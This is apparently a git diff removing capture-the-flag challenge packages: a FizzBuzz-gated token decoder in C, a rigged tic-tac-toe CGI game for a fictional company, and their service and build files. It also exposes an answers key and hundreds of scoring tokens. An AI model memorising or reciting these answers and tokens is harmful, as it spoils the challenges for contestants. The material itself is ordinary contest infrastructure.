$(FIZZBUZZ_PKGDIR)/bin/ - - $(call COPYTREE, packages/fizzbuzz/service, $(FIZZBUZZ_PKGDIR)/service) - - cp packages/fizzbuzz/tokens.txt $(FIZZBUZZ_PKGDIR)/ - cp $(FIZZBUZZ_BUILDDIR)/token.enc $(FIZZBUZZ_PKGDIR)/ - cp packages/fizzbuzz/src/fizzbuzz $(FIZZBUZZ_PKGDIR)/bin/ - -fizzbuzz-clean: - rm -rf $(FIZZBUZZ_PKGDIR) $(FIZZBUZZ_BUILDDIR) - $(MAKE) -C packages/fizzbuzz/src clean - -fizzbuzz-build: $(FIZZBUZZ_BUILDDIR)/token.enc - $(MAKE) -C packages/fizzbuzz/src build - -PACKAGES += fizzbuzz diff --git a/packages/fizzbuzz/service/fizzbuzz/finish b/packages/fizzbuzz/service/fizzbuzz/finish deleted file mode 100755 index 9721530..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/finish +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -dbip -d diff --git a/packages/fizzbuzz/service/fizzbuzz/go b/packages/fizzbuzz/service/fizzbuzz/go deleted file mode 100755 index 1d57de0..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/go +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec $CTF_BASE/packages/fizzbuzz/bin/fizzbuzz 3<$CTF_BASE/packages/fizzbuzz/token.enc \ No newline at end of file diff --git a/packages/fizzbuzz/service/fizzbuzz/ip.txt b/packages/fizzbuzz/service/fizzbuzz/ip.txt deleted file mode 100644 index b1bd38b..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/ip.txt +++ /dev/null @@ -1 +0,0 @@ -13 diff --git a/packages/fizzbuzz/service/fizzbuzz/log/run b/packages/fizzbuzz/service/fizzbuzz/log/run deleted file mode 100755 index 1e7bd9d..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/log/run +++ /dev/null @@ -1,3 +0,0 @@ -#! /bin/sh - -exec svlogd -tt $PWD diff --git a/packages/fizzbuzz/service/fizzbuzz/run b/packages/fizzbuzz/service/fizzbuzz/run deleted file mode 100755 index 3347b07..0000000 --- a/packages/fizzbuzz/service/fizzbuzz/run +++ /dev/null @@ -1,7 +0,0 @@ -#! /bin/sh -e - -exec 2>&1 - -IP=$(dbip -a) - -exec tcpsvd -u nobody ${IP%/*} 1013 ./go diff --git a/packages/fizzbuzz/src/Makefile b/packages/fizzbuzz/src/Makefile deleted file mode 100644 index cd3f866..0000000 --- a/packages/fizzbuzz/src/Makefile +++ /dev/null @@ -1,11 +0,0 @@ -CFLAGS = -Wall -Werror -TARGETS = fizzbuzz - -all: build -build: $(TARGETS) - -install: $(TARGETS) - install -m 0755 $(TARGETS) $(DESTDIR)/bin - -clean: - rm -f *.o $(TARGETS) diff --git a/packages/fizzbuzz/src/fizzbuzz.c b/packages/fizzbuzz/src/fizzbuzz.c deleted file mode 100644 index 2b495e7..0000000 --- a/packages/fizzbuzz/src/fizzbuzz.c +++ /dev/null @@ -1,86 +0,0 @@ -#include -#include -#include - -/* - * How this works: - * - * You have to provide this with the output of a fizzbuzz program to get - * it to decode the token. - * - * Provide the encoded token on fd 3, and it will output the decode - * provided correct input. If you provided the decoded token, it will - * encode it. In other words, encode(x) = decode(x). - * - * - * Here's a fizzbuzz program in bourne shell: - * - * for i in $(seq 100); do - * if [ $(expr $i % 15) = 0 ]; then - * echo 'FizzBuzz' - * elif [ $(expr $i % 3) = 0 ]; then - * echo 'Fizz' - * elif [ $(expr $i % 5) = 0 ]; then - * echo 'Buzz' - * else - * echo $i - * fi - * done - * - */ - -char craptable[] = { - 0x64, 0xd4, 0x11, 0x55, 0x50, 0x16, 0x61, 0x02, - 0xf7, 0xfd, 0x63, 0x36, 0xd9, 0xa6, 0xf2, 0x29, - 0xad, 0xfb, 0xed, 0x7a, 0x06, 0x91, 0xe7, 0x67, - 0x80, 0xb6, 0x53, 0x2c, 0x43, 0xf9, 0x3c, 0xf2, - 0x83, 0x5c, 0x25, 0xee, 0x21 -}; - -int -main(int argc, char *argv[]) -{ - int i; - char token[100]; - size_t tokenlen; - - { - FILE *tokenin = fdopen(3, "r"); - - if (! tokenin) { - printf("Somebody didn't read the instructions.\n"); - return 1; - } - - tokenlen = fread(token, 1, sizeof(token), tokenin); - fclose(tokenin); - } - - - for (i=1; i <= 100; i += 1) { - char l[100]; - - fgets(l, sizeof(l), stdin); - - if (0 == i % 15) { - if (0 != strcmp("FizzBuzz\n", l)) break; - } else if (0 == i % 3) { - if (0 != strcmp("Fizz\n", l)) break; - } else if (0 == i % 5) { - if (0 != strcmp("Buzz\n", l)) break; - } else { - if (atoi(l) != i) break; - } - - token[i % tokenlen] ^= i; - token[i % tokenlen] ^= craptable[i % sizeof(craptable)]; - } - - if (101 == i) { - fwrite(token, tokenlen, 1, stdout); - } else { - printf("Next time, FizzBuzz me.\n"); - } - - return 0; -} diff --git a/packages/fizzbuzz/tokens.txt b/packages/fizzbuzz/tokens.txt deleted file mode 100644 index c55bea1..0000000 --- a/packages/fizzbuzz/tokens.txt +++ /dev/null @@ -1 +0,0 @@ -net:xuhen-fizuv-syvex diff --git a/packages/forensics/100/@author.txt b/packages/forensics/100/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/100/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/133/@author.txt b/packages/forensics/133/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/133/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/166/@author.txt b/packages/forensics/166/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/166/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/200/@author.txt b/packages/forensics/200/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/200/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/205/@author.txt b/packages/forensics/205/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/205/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/210/@author.txt b/packages/forensics/210/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/210/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/215/@author.txt b/packages/forensics/215/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/215/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/220/@author.txt b/packages/forensics/220/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/220/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/225/@author.txt b/packages/forensics/225/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/225/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/230/@author.txt b/packages/forensics/230/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/230/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/250/@author.txt b/packages/forensics/250/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/250/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/275/@author.txt b/packages/forensics/275/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/275/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/500/@author.txt b/packages/forensics/500/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/500/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/525/@author.txt b/packages/forensics/525/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/525/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/530/@author.txt b/packages/forensics/530/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/530/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/540/@author.txt b/packages/forensics/540/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/540/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/545/@author.txt b/packages/forensics/545/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/545/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/550/@author.txt b/packages/forensics/550/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/550/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/560/@author.txt b/packages/forensics/560/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/560/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/570/@author.txt b/packages/forensics/570/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/570/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/575/@author.txt b/packages/forensics/575/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/575/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/577/@author.txt b/packages/forensics/577/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/577/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/580/@author.txt b/packages/forensics/580/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/580/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/585/@author.txt b/packages/forensics/585/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/585/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/587/@author.txt b/packages/forensics/587/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/587/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/589/@author.txt b/packages/forensics/589/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/589/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/590/@author.txt b/packages/forensics/590/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/590/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/595/@author.txt b/packages/forensics/595/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/595/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/600/@author.txt b/packages/forensics/600/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/600/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/forensics/650/@author.txt b/packages/forensics/650/@author.txt deleted file mode 100644 index fdedbc7..0000000 --- a/packages/forensics/650/@author.txt +++ /dev/null @@ -1 +0,0 @@ -Kelcey Tietjen diff --git a/packages/gs/answers.txt b/packages/gs/answers.txt deleted file mode 100644 index 4506a61..0000000 --- a/packages/gs/answers.txt +++ /dev/null @@ -1,9 +0,0 @@ -5 UGOTIT -5 ugotit -10 making science -30 viewfinders filets -40 b00m! face punch. -40 B00M! FACE PUNCH. -60 A WINNER IS YOU -80 overhaul credential -90 A WINNER IS WHO? diff --git a/packages/gs/generalstatics.com/bg.jpg b/packages/gs/generalstatics.com/bg.jpg deleted file mode 100644 index 0c8ec50..0000000 Binary files a/packages/gs/generalstatics.com/bg.jpg and /dev/null differ diff --git a/packages/gs/generalstatics.com/cgi.c b/packages/gs/generalstatics.com/cgi.c deleted file mode 100644 index 008a6ec..0000000 --- a/packages/gs/generalstatics.com/cgi.c +++ /dev/null @@ -1,241 +0,0 @@ -#include -#include -#include -#include -#include "cgi.h" - -#ifdef NODUMP -# define DUMPf(fmt, args...) -#else -# define DUMPf(fmt, args...) fprintf(stderr, "%s:%s:%d " fmt "\n", __FILE__, __FUNCTION__, __LINE__, ##args) -#endif -#define DUMP() DUMPf("") -#define DUMP_d(v) DUMPf("%s = %d", #v, v) -#define DUMP_x(v) DUMPf("%s = 0x%x", #v, v) -#define DUMP_s(v) DUMPf("%s = %s", #v, v) -#define DUMP_c(v) DUMPf("%s = '%c' (0x%02x)", #v, v, v) -#define DUMP_p(v) DUMPf("%s = %p", #v, v) - - -#define POST_MAX 1024 - -/* - * CGI - */ -static int is_cgi = 0; -static char **argv = NULL; - -static int -read_char_argv() -{ - static int arg = 0; - static char *p; - - if (NULL == argv) { - return EOF; - } - - if (0 == arg) { - arg = 1; - p = argv[1]; - } - - if (! p) { - return EOF; - } else if (! *p) { - arg += 1; - p = argv[arg]; - return '&'; - } - - return *(p++); -} - -static int -read_char_stdin() -{ - static int inlen = -1; - - if (-1 == inlen) { - char *p = getenv("CONTENT_LENGTH"); - if (p) { - inlen = atoi(p); - if (inlen > POST_MAX) { - inlen = POST_MAX; - } - if (inlen < 0) { - inlen = 0; - } - } else { - inlen = 0; - } - } - - if (inlen) { - inlen -= 1; - return getchar(); - } - return EOF; -} - -static int -read_char_query_string() -{ - static char *p = (char *)-1; - - if ((char *)-1 == p) { - p = getenv("QUERY_STRING"); - } - - if (! p) { - return EOF; - } else if (! *p) { - return EOF; - } else { - return *(p++); - } -} - -static int (* read_char)() = read_char_argv; - -int -cgi_init(char *global_argv[]) -{ - char *rm = getenv("REQUEST_METHOD"); - - if (! rm) { - read_char = read_char_argv; - argv = global_argv; - } else if (0 == strcmp(rm, "POST")) { - read_char = read_char_stdin; - is_cgi = 1; - } else if (0 == strcmp(rm, "GET")) { - read_char = read_char_query_string; - is_cgi = 1; - } else { - printf(("405 Method not allowed\r\n" - "Allow: GET, POST\r\n" - "Content-type: text/plain\r\n" - "\r\n" - "%s is not allowed.\n"), - rm); - return -1; - } - - return 0; -} - -static char -tonum(int c) -{ - if ((c >= '0') && (c <= '9')) { - return c - '0'; - } - if ((c >= 'a') && (c <= 'f')) { - return 10 + c - 'a'; - } - if ((c >= 'A') && (c <= 'F')) { - return 10 + c - 'A'; - } - return 0; -} - -static char -read_hex() -{ - int a = read_char(); - int b = read_char(); - - return tonum(a)*16 + tonum(b); -} - -/* Read a key or a value. Since & and = aren't supposed to appear - outside of boundaries, we can use the same function for both. -*/ -size_t -cgi_item(char *str, size_t maxlen) -{ - int c; - size_t pos = 0; - - while (1) { - c = read_char(); - switch (c) { - case EOF: - case '=': - case '&': - str[pos] = '\0'; - return pos; - case '%': - c = read_hex(); - break; - case '+': - c = ' '; - break; - } - if (pos < maxlen - 1) { - str[pos] = c; - pos += 1; - } - } -} - -void -cgi_head(char *title) -{ - if (is_cgi) { - printf("Content-type: text/html\r\n\r\n"); - } - printf(("\n" - "\n" - " \n" - " %s\n" - " \n" - " \n" - "

%s

\n"), - title, title); -} - -void -cgi_foot() -{ - printf("\n" - " \n" - "\n"); -} - -void -cgi_result(int code, char *desc, char *fmt, ...) -{ - va_list ap; - - if (is_cgi) { - printf("%d %s\r\n", code, desc); - } - cgi_head(desc); - va_start(ap, fmt); - vprintf(fmt, ap); - va_end(ap); - cgi_foot(); - exit(0); -} - -void -cgi_page(char *title, char *fmt, ...) -{ - va_list ap; - - cgi_head(title); - va_start(ap, fmt); - vprintf(fmt, ap); - va_end(ap); - cgi_foot(); - exit(0); -} - -void -cgi_error(char *text) -{ - cgi_result(500, "Internal error", "

%s

", text); -} - diff --git a/packages/gs/generalstatics.com/cgi.h b/packages/gs/generalstatics.com/cgi.h deleted file mode 100644 index 04eed9f..0000000 --- a/packages/gs/generalstatics.com/cgi.h +++ /dev/null @@ -1,14 +0,0 @@ -#ifndef __CGI_H_ -#define __CGI_H_ - -#include - -int cgi_init(char *global_argv[]); -size_t cgi_item(char *str, size_t maxlen); -void cgi_head(char *title); -void cgi_foot(); -void cgi_result(int code, char *desc, char *fmt, ...); -void cgi_page(char *title, char *fmt, ...); -void cgi_error(char *text); - -#endif diff --git a/packages/gs/generalstatics.com/data.png b/packages/gs/generalstatics.com/data.png deleted file mode 100644 index 8580749..0000000 Binary files a/packages/gs/generalstatics.com/data.png and /dev/null differ diff --git a/packages/gs/generalstatics.com/index.html b/packages/gs/generalstatics.com/index.html deleted file mode 100644 index 05dd742..0000000 --- a/packages/gs/generalstatics.com/index.html +++ /dev/null @@ -1,212 +0,0 @@ - - - - General Statics - - - - - -

General Statics

- -

- General Statics is pleased to announce our shift into the casual gaming - market. Please try our new flagship product: Tic-Tac-Toe Extreme! -

- - - - - - -
You play X. Reload this page to start over.
- -

- This strategic shift will bring our company back to the forefront - of revenue-generating companies. -

- -

About Us

- -

- Most strategic planning involves thinking and talking - about the future. Crafting and executing strategy requires - actually making decisions and acting on the future. And doing - so in an “expeditionary” manner that enables continuous - change, flexibility, and adaptability. -

- -

- General Statics continuously delivers value through leveraging technology to - change behaviors, processes and practices. In the Knowledge Economy, many - of the most decisive sources of value are intangible. We - help our clients to optimize both tangible and intangible - - value. We deploy and leverage new technologies to change the - dynamics of organizational processes, relationships, and - interactions with customers, clients, partners, members, and - other stakeholders. This drives enhanced performance, reduces - costs, and enables enterprises to improve their competitive - advantage. -

- -

- Knowledge Age enterprises must realign their strategies, - processes and practices to the post-recession Economy. - New generations of measurement and analytics tools are - making it possible for enterprises to pursue new - strategies that lead them to higher planes of nimble - performance. -

- -

- Employee access: - -

- - - diff --git a/packages/gs/generalstatics.com/msg.ogg b/packages/gs/generalstatics.com/msg.ogg deleted file mode 100644 index bdae91f..0000000 Binary files a/packages/gs/generalstatics.com/msg.ogg and /dev/null differ diff --git a/packages/gs/generalstatics.com/p2.png b/packages/gs/generalstatics.com/p2.png deleted file mode 100644 index dc588d9..0000000 Binary files a/packages/gs/generalstatics.com/p2.png and /dev/null differ diff --git a/packages/gs/generalstatics.com/p2inv.png b/packages/gs/generalstatics.com/p2inv.png deleted file mode 100644 index 398c6c4..0000000 Binary files a/packages/gs/generalstatics.com/p2inv.png and /dev/null differ diff --git a/packages/gs/generalstatics.com/ttt.cgi.c b/packages/gs/generalstatics.com/ttt.cgi.c deleted file mode 100644 index f902fcc..0000000 --- a/packages/gs/generalstatics.com/ttt.cgi.c +++ /dev/null @@ -1,198 +0,0 @@ -#include -#include -#include -#include "cgi.h" - -const char *b64_aleph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@"; - -typedef int board_t[3][3]; - -void -b64_of_board(char *out, board_t board) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - int acc = 0; - - for (x = 0; x < 3; x += 1) { - acc <<= 2; - acc += board[y][x]; - } - out[y] = b64_aleph[acc]; - } -} - -void -board_of_b64(board_t out, char *b64) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - char *p = strchr(b64_aleph, b64[y]); - int acc = 0; - - if (p) { - acc = p - b64_aleph; - } - - for (x = 2; x >= 0; x -= 1) { - out[y][x] = acc & 3; - acc >>= 2; - } - } -} - -void -print_board(board_t board) -{ - int y, x; - - for (y = 0; y < 3; y += 1) { - for (x = 0; x < 3; x += 1) { - printf("%d", board[y][x]); - } - printf("\n"); - } -} - -int -winner(board_t board) -{ - int i, j, k; - - for (i = 0; i < 3; i += 1) { - for (k = 0; k < 3; k += 1) { - int winner = -1; - - for (j = 0; j < 3; j += 1) { - int b; - - switch (k) { - case 0: - b = board[i][j]; - break; - case 1: - b = board[j][i]; - break; - case 2: - /* This will happen 3× as often as it needs to. Who cares. */ - b = board[j][j]; - break; - } - - if (winner == -1) { - winner = b; - } else if (winner != b) { - winner = -1; - break; - } - } - if (winner > 0) { - return winner; - } - } - } - - return 0; -} - -void -claim(board_t board, int x, int y, int whom) -{ - int prev = board[x][y]; - int i; - - if (prev == whom) { - return; - } - - for (i = 0; i < 9; i += 1) { - if (! board[i/3][i%3]) { - board[i/3][i%3] = prev; - break; - } - } - - board[x][y] = whom; -} - -void -make_move(board_t board) -{ - switch (winner(board)) { - case 1: - printf("A WINNER IS YOU\n"); - exit(0); - case 2: - /* I win; we can keep playing though, because I (neale) - don't want to write any more code to handle this. */ - break; - case 3: - printf("A WINNER IS WHO?\n"); - exit(1); - } - - /* Reserve our final space */ - claim(board, 2, 2, 0); - - /* First move */ - if (board[1][1] != 2) { - claim(board, 1, 1, 2); - return; - } - - /* Second move */ - if (board[0][0] != 2) { - - /* Prevent them from winning legally */ - if (board[0][2]) { - claim(board, 1, 2, 0); - } - if (board[2][0]) { - claim(board, 2, 1, 0); - } - claim(board, 0, 0, 2); - return; - } - - /* Third move */ - claim(board, 2, 2, 2); -} - - -int -main(int argc, char *argv[]) -{ - char b64[4] = {0}; - board_t board = {0}; - - if (-1 == cgi_init(argv)) { - return 0; - } - - while (1) { - size_t len; - char key[20]; - - len = cgi_item(key, sizeof key); - if (0 == len) break; - switch (key[0]) { - case 'b': - cgi_item(b64, sizeof b64); - break; - default: - cgi_item(key, 0); - break; - } - } - - printf("Content-type: text/plain\r\n\r\n"); - board_of_b64(board, b64); - make_move(board); - b64_of_board(b64, board); - fwrite(b64, 1, 3, stdout); - - return 0; -} - diff --git a/packages/gs/gs.mk b/packages/gs/gs.mk deleted file mode 100644 index 17901d6..0000000 --- a/packages/gs/gs.mk +++ /dev/null @@ -1,8 +0,0 @@ -GS_PKGDIR = $(TARGET)/gs - -gs-install: - mkdir -p $(GS_PKGDIR) - cp packages/gs/answers.txt $(GS_PKGDIR) - -PACKAGES += gs - diff --git a/packages/gs/p2.xcf b/packages/gs/p2.xcf deleted file mode 100644 index 7c5a9c7..0000000 Binary files a/packages/gs/p2.xcf and /dev/null differ diff --git a/packages/host/host.mk b/packages/host/host.mk deleted file mode 100644 index 753c336..0000000 --- a/packages/host/host.mk +++ /dev/null @@ -1,8 +0,0 @@ -HOST_PKGDIR = $(TARGET)/host - -host-install: - mkdir -p $(HOST_PKGDIR) - cp packages/host/tokens.txt $(HOST_PKGDIR) - -PACKAGES += host - diff --git a/packages/host/tokens.txt b/packages/host/tokens.txt deleted file mode 100644 index f8313cd..0000000 --- a/packages/host/tokens.txt +++ /dev/null @@ -1,500 +0,0 @@ -host:100:xunis-kutyb-kokox -host:200:xolas-segap-tisax -host:300:xebep-vevuz-vycex -host:400:xuvas-codas-fovox -host:500:xuvig-pyteg-vunyx -host:600:xocap-cebuz-dupax -host:700:xizif-zyzut-lilix -host:800:xopeg-rabad-dirax -host:900:xozag-mufum-mubex -host:1000:xebib-lycak-zebux -host:100:xetad-ruhyt-mutux -host:200:xosin-hufer-zisyx -host:300:xirob-tazin-gomex -host:400:xolag-fefir-nanux -host:500:xitip-vanih-nyzax -host:600:xuzip-semub-mesux -host:700:xeten-cekuh-felax -host:800:xufir-meroz-rovix -host:900:xurav-sudav-padix -host:1000:xiher-kyvyd-dipix -host:100:xepep-lupyp-hofax -host:200:xuvol-cyfaf-ficex -host:300:xegam-kehes-hipux -host:400:xoris-rulyz-zybex -host:500:xelas-zogug-carix -host:600:xuhoz-sapag-zahex -host:700:xocoz-cumid-lulax -host:800:xesat-cydun-dofix -host:900:xugog-hareb-pysex -host:1000:xiken-civyz-sopex -host:100:xolah-loziv-serex -host:200:xogar-vasok-tydix -host:300:xihen-redyr-garex -host:400:xenat-fenas-migax -host:500:xored-zurif-synix -host:600:xehil-hivuv-kamux -host:700:xuhav-nihif-sucix -host:800:xeteg-sylyh-dolex -host:900:xuzel-matev-robyx -host:1000:xidaf-lilyk-mypex -host:100:xibek-pocec-cynyx -host:200:xoloh-delic-nuhex -host:300:xezib-gelor-micux -host:400:xocaz-civag-fyhax -host:500:xunab-gofoz-sysox -host:600:xemab-numul-devyx -host:700:xinar-nufub-vufix -host:800:xumek-revid-safax -host:900:xukel-sesuz-dekox -host:1000:xicaf-sesaz-vivax -host:100:xidap-nalem-vacix -host:200:xekak-lozac-bikox -host:300:xenas-pygaf-bidux -host:400:xuneg-donuk-tobex -host:500:xubar-benof-micox -host:600:xebic-cipov-pyzex -host:700:xulac-kuhak-hymux -host:800:xodil-nihop-disex -host:900:xemas-libic-basux -host:1000:xolaf-zuzuv-rafex -host:100:xilif-peked-nigox -host:200:xopil-lepub-lafax -host:300:xuhak-begat-nevex -host:400:xunal-sazan-sudax -host:500:xokic-kitys-talix -host:600:xopev-fehos-ginax -host:700:xihin-nanih-sivox -host:800:xupab-holoc-polyx -host:900:xogaf-sycyr-kylax -host:1000:xilez-masah-cefex -host:100:xofop-fafor-polyx -host:200:xefag-fisin-zezox -host:300:xefip-rugyh-leryx -host:400:xeveh-kulyk-cafax -host:500:xisop-rutug-sabyx -host:600:xodog-zuvon-velyx -host:700:xiral-dased-cocix -host:800:xupin-lipeg-ticix -host:900:xubog-gumyt-hirix -host:1000:xudot-tasap-geryx -host:100:xulob-vugik-fylax -host:200:xocig-kyhez-cevux -host:300:xibep-lupot-licox -host:400:xesol-tuzol-kysex -host:500:xidet-mobuv-gudyx -host:600:xifec-nasak-helex -host:700:xehis-tycar-mimix -host:800:xosir-gabyn-ruryx -host:900:xorim-cynaf-cunex -host:1000:xodic-casor-sifex -host:100:xubik-cucyg-tyrix -host:200:xemok-dicam-barax -host:300:xedih-cemum-masyx -host:400:xuviv-pyzod-vefix -host:500:xumon-nosar-ranax -host:600:xegem-hyvev-lumux -host:700:xivog-dygid-horox -host:800:xulac-bugym-zakyx -host:900:xikav-rusym-fisax -host:1000:xebon-gohyf-ribix -host:100:xenar-volyb-zidox -host:200:ximab-vobic-nysex -host:300:xusib-vokat-pulex -host:400:xomef-dahid-gymox -host:500:xugiv-lypop-rocex -host:600:xuhek-rikyd-kuhox -host:700:xemaz-gilak-nubux -host:800:xirip-gopez-zakox -host:900:xigel-fubov-mocix -host:1000:xosar-mirun-cefux -host:100:xupov-dyfef-gybex -host:200:xorih-bodog-mizax -host:300:xudif-dizup-tebix -host:400:ximal-mykam-nonex -host:500:xoget-fuvek-fumex -host:600:xefak-bitoh-vebyx -host:700:xohin-gysip-gocix -host:800:xomav-banon-hefax -host:900:xuvez-fiveb-kyrex -host:1000:xereg-monit-tyfax -host:100:xonip-cykyz-ruzux -host:200:xotok-paget-kytex -host:300:xikal-tigyd-vedix -host:400:xepof-zafet-hemax -host:500:xefet-cagoh-lupux -host:600:xeteh-nyvem-babux -host:700:xedit-sezup-tumox -host:800:xuhet-tuhyn-polix -host:900:xonib-tyfan-lagix -host:1000:xurip-gapyd-dusex -host:100:xenac-vasaz-vipix -host:200:xuhap-focyp-zilax -host:300:xoboc-dacof-lisix -host:400:xuvov-nuzyb-dolix -host:500:xidip-fover-papix -host:600:xodol-katyz-nilyx -host:700:xusev-subyd-vecux -host:800:xohor-tobuc-zunyx -host:900:xecir-lofub-hurux -host:1000:xesid-tyzim-nusix -host:100:xedab-sepog-sybax -host:200:xudic-pitol-sazox -host:300:xolop-rylah-zebyx -host:400:xobot-ruveh-nygex -host:500:xomeb-pomuf-barox -host:600:xizih-mulov-rylyx -host:700:xifet-lupiv-zanex -host:800:xutev-koser-rumyx -host:900:xocir-bakim-zanax -host:1000:xivas-nofic-decax -host:100:xuras-pelah-gehyx -host:200:xemec-hezol-vacux -host:300:xenal-vygub-higox -host:400:xilif-pevop-calix -host:500:xuzik-ramor-rypax -host:600:xurol-famez-limox -host:700:xegip-salyp-dekex -host:800:xetof-repid-zarux -host:900:xozec-natag-kygix -host:1000:xepih-dycum-herix -host:100:ximer-byzah-sezox -host:200:xocez-vygit-zipix -host:300:xozod-zafol-nazax -host:400:xovib-zoled-podix -host:500:xudid-degyc-cegex -host:600:xolec-gigod-mynux -host:700:xirom-kezyn-cevex -host:800:xenoh-likeg-cimyx -host:900:xokeg-boduh-gubox -host:1000:xetem-sapiz-rogyx -host:100:xudez-suvol-pikax -host:200:xuveh-hykap-mamax -host:300:xoraf-sofif-malox -host:400:xikit-tenys-telex -host:500:xupev-zoker-cipox -host:600:xutib-cepov-sifox -host:700:xonos-vagib-gyfyx -host:800:xolis-mopys-rahex -host:900:xodik-pycis-nudux -host:1000:xuhol-tabob-bezux -host:100:xizen-gylad-kegux -host:200:xoziv-pubad-gelyx -host:300:xesad-zycal-gusex -host:400:xonip-mofic-godyx -host:500:xinib-repek-gabox -host:600:xekic-micat-ketux -host:700:xumoc-cabyf-byvyx -host:800:xozal-cokyg-telix -host:900:xobos-mafov-zosox -host:1000:xoset-gedog-rinux -host:100:xosef-lagor-gekox -host:200:xukik-netok-narex -host:300:xepal-pidug-zinix -host:400:xorar-katuc-hufax -host:500:xipim-rynog-huvyx -host:600:xufob-busis-lobyx -host:700:xusol-cilud-gupux -host:800:xipif-ginif-malix -host:900:xociz-gyfet-cyzix -host:1000:xobas-vozap-rizax -host:100:xesob-lulet-rypex -host:200:xoloc-dusof-tonex -host:300:xomis-zypuz-bycox -host:400:xugal-kibif-gafax -host:500:xizif-vuvur-nuzyx -host:600:xozob-legug-lyhyx -host:700:xomor-fedad-zovix -host:800:xuziz-vytyr-sifux -host:900:xemap-ciman-mumax -host:1000:xeter-hecuz-sucux -host:100:xonos-kahak-hypax -host:200:xogav-dukym-dylux 